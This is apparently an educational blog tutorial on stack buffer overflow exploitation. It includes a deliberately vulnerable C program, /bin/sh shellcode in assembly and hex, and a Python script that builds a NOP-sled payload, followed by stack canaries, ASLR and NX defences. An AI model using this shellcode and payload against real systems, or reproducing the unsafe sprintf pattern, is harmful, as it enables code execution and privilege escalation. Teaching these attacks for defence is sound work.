Introduction
Buffer overflow attacks are among the most dangerous vulnerabilities in software security. Attackers exploit buffer overflows to execute malicious code, often gaining unauthorized access or escalating privileges. This article explores how attackers craft buffer overflow exploits, including NOP sleds, shellcode injection, and return address manipulation. Additionally, we will discuss defensive measures such as stack canaries, ASLR, and modern compiler protections.
How Buffer Overflow Attacks Work
A buffer overflow occurs when a program writes more data into a memory buffer than it can hold. This excess data spills over into adjacent memory, potentially overwriting the return address (EIP in x86 architecture), which determines the next instruction the CPU executes. If an attacker can control this value, they can redirect execution to their malicious code.
Example: Vulnerable C Code
c
CopyEdit
#include <stdio.h>
#include <string.h>
void Func(char *arg1) {
char buffer[4]; // Small buffer
sprintf(buffer, “%s”, arg1); // Unsafe function
printf(“User input: %s\n”, buffer);
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf(“Usage: %s <input>\n”, argv[0]);
return 1;
}
Func(argv[1]);
return 0;
}
Why is this code vulnerable?
- sprintf writes user input (arg1) into buffer without checking its length.
- If arg1 is larger than 4 bytes, it will overwrite adjacent memory, including EIP.
- An attacker can inject shellcode and redirect execution to it.
Shellcode Injection and Execution
1. Crafting Shellcode for Exploitation
Shellcode is a sequence of machine instructions that execute a malicious payload, such as spawning a shell. Since buffer overflows often involve overwriting memory using string functions, the shellcode must:
Avoid null bytes (\x00) – These terminate strings in C functions.
Not use the stack – The stack gets corrupted in buffer overflows.
Be self-contained – Cannot rely on external libraries.
Example: Shellcode to Spawn /bin/sh on Linux (x86 Assembly)
assembly
CopyEdit
section .text
global _start
_start:
xor eax, eax ; Clear eax
push eax ; NULL terminator
push 0x68732f6e ; “n/sh”
push 0x69622f2f ; “//bi”
mov ebx, esp ; Store pointer to “/bin/sh”
xor ecx, ecx ; NULL argument
xor edx, edx ; NULL environment
mov al, 11 ; execve syscall
int 0x80 ; Trigger syscall
Converting Assembly to Hex for Injection
Use nasm and objcopy to generate shellcode:
bash
CopyEdit
nasm -f elf32 shellcode.asm -o shellcode.o
objcopy -O binary -j .text shellcode.o shellcode.bin
hexdump -v -e ‘”\\x” 1/1 “%02x”‘ shellcode.bin
This outputs the raw machine code needed for exploitation.
2. Using a NOP Sled to Improve Reliability
One challenge in buffer overflow exploitation is getting the EIP to land precisely on the shellcode. If the return address is incorrect, the program crashes.
To increase success rates, attackers use a NOP sled – a series of NOP (\x90) instructions leading to the shellcode. If execution lands anywhere in the NOP sled, it “slides” down to execute the payload.
Exploit Layout
css
CopyEdit
[ Padding ] [ Return Address ] [ NOP Sled ] [ Shellcode ]
Python Script to Generate an Exploit Payload
python
CopyEdit
import sys
buffer_size = 40
nop_sled = b”\x90″ * 100 # 100 NOP instructions
shellcode = b”\x31\xc0\x50\x68\x2f\x2f\x62\x69\x68\x2f\x73\x68\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80″
return_address = b”\xef\xbe\xad\xde” # Example overwrite address
payload = b”A” * buffer_size + return_address + nop_sled + shellcode
sys.stdout.buffer.write(payload)
Run the exploit with:
bash
CopyEdit
python3 exploit.py | ./vulnerable_program
If successful, it spawns a root shell.
Defenses Against Buffer Overflow Attacks
1. Stack Canaries
A stack canary is a secret value placed before the return address. If a buffer overflow overwrites the canary, the program detects it and terminates execution before the attack succeeds.
Types of Canaries:
Terminator Canaries – Contain characters like NULL (\x00), line feed (\x0A), preventing string functions from copying them.
Random Canaries – Generated at runtime, making them hard to predict.
Random XOR Canaries – XORed with control data, increasing difficulty for attackers.
To enable stack canaries in GCC, compile with:
bash
CopyEdit
gcc -fstack-protector-all -o secure_program program.c
2. Address Space Layout Randomization (ASLR)
ASLR randomizes memory addresses of processes, making it difficult for attackers to predict where their shellcode will land.
To check if ASLR is enabled:
bash
CopyEdit
cat /proc/sys/kernel/randomize_va_space
(1 = Partial, 2 = Full, 0 = Disabled)
To enable ASLR:
bash
CopyEdit
echo 2 > /proc/sys/kernel/randomize_va_space
However, attackers can bypass ASLR by:
- Brute-forcing memory addresses
- Leaking memory addresses from process info
3. Non-Executable Stack (NX Bit / DEP)
Modern systems mark the stack as non-executable using NX-bit (Linux) or Data Execution Prevention (DEP in Windows). This prevents injected shellcode from running.
To check if NX is enabled:
bash
CopyEdit
cat /proc/cpuinfo | grep nx
To compile with non-executable stack protection:
bash
CopyEdit
gcc -z noexecstack -o secure_program program.c
Conclusion
Buffer overflow attacks remain a significant threat but can be mitigated through stack canaries, ASLR, and NX-bit protections. Ethical hackers and security researchers must understand how attackers exploit buffer overflows to develop secure software.
We love to share our knowledge on current technologies. Our motto is ‘Do our best so that we can’t blame ourselves for anything“.